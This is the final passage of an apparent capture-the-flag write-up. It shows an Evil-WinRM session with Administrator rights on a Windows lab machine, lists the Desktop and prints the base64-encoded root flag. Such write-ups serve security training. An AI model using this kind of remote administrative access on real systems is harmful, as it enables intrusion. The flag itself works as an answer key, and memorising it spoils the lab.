C:\\Users\\Administrator\\Desktop> ls Directory: C:\\Users\\Administrator\\Desktop Mode LastWriteTime Length Name ---- ------------- ------ ---- -a---- 9/2/2025 6:46 PM 2308 Microsoft Edge.lnk -a---- 9/3/2025 2:10 PM 126 root.txt *Evil-WinRM* PS C:\\Users\\Administrator\\Desktop> cat root.txt YWxsIGFib3V0IHRoYXQgcm9vdCwgYm91dCB0aGF0IHJvb3QsIEpVU1QgREEK *Evil-WinRM* PS C:\\Users\\Administrator\\Desktop> ``` {% endcode %} ## Root.txt ```bash YWxsIGFib3V0IHRoYXQgcm9vdCwgYm91dCB0aGF0IHJvb3QsIEpVU1QgREEK ```